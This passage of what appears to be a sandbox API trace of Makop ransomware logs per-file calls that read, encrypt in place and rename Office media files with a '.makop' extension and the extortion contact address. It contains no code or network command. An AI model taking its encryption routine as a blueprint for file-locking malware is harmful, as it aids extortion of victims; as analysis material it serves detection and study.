lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0166.039] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF") returned 70 [0166.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.041] GetProcessHeap () returned 0x48a0000 [0166.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.041] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.041] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0166.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.045] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.045] GetProcessHeap () returned 0x48a0000 [0166.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.045] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.045] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.045] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.046] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.046] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.046] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.046] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.046] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.047] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8da, lpOverlapped=0x0) returned 1 [0166.047] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8e0) returned 1 [0166.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.047] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8e0, lpOverlapped=0x0) returned 1 [0166.047] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.047] SetEndOfFile (hFile=0x130) returned 1 [0166.053] GetProcessHeap () returned 0x48a0000 [0166.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.053] GetProcessHeap () returned 0x48a0000 [0166.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.053] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.054] CloseHandle (hObject=0x130) returned 1 [0166.054] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0166.054] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned 70 [0166.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.055] GetProcessHeap () returned 0x48a0000 [0166.055] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.055] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.056] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0166.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.060] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.060] GetProcessHeap () returned 0x48a0000 [0166.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.060] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.060] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.061] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.061] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.061] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.061] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.061] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.061] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.062] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8da, lpOverlapped=0x0) returned 1 [0166.062] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8e0) returned 1 [0166.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.062] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8e0, lpOverlapped=0x0) returned 1 [0166.062] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.062] SetEndOfFile (hFile=0x130) returned 1 [0166.068] GetProcessHeap () returned 0x48a0000 [0166.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.068] GetProcessHeap () returned 0x48a0000 [0166.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.069] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.075] CloseHandle (hObject=0x130) returned 1 [0166.075] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0166.075] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned 70 [0166.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.077] GetProcessHeap () returned 0x48a0000 [0166.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.077] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.081] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.081] GetProcessHeap () returned 0x48a0000 [0166.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.081] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.081] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.081] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.082] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.082] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.082] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.082] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.083] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.083] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xfbc, lpOverlapped=0x0) returned 1 [0166.083] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xfc0) returned 1 [0166.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.083] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xfc0, lpOverlapped=0x0) returned 1 [0166.083] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.084] SetEndOfFile (hFile=0x130) returned 1 [0166.090] GetProcessHeap () returned 0x48a0000 [0166.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.090] GetProcessHeap () returned 0x48a0000 [0166.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.090] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.092] CloseHandle (hObject=0x130) returned 1 [0166.092] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0166.092] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned 70 [0166.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.094] GetProcessHeap () returned 0x48a0000 [0166.094] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.094] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.098] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.098] GetProcessHeap () returned 0x48a0000 [0166.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.099] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.099] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.099] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.099] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.099] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.099] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.099] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.100] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.100] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b28, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1b28, lpOverlapped=0x0) returned 1 [0166.101] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b30) returned 1 [0166.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.102] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1b30, lpOverlapped=0x0) returned 1 [0166.102] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.102] SetEndOfFile (hFile=0x130) returned 1 [0166.109] GetProcessHeap () returned 0x48a0000 [0166.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.109] GetProcessHeap () returned 0x48a0000 [0166.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.109] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 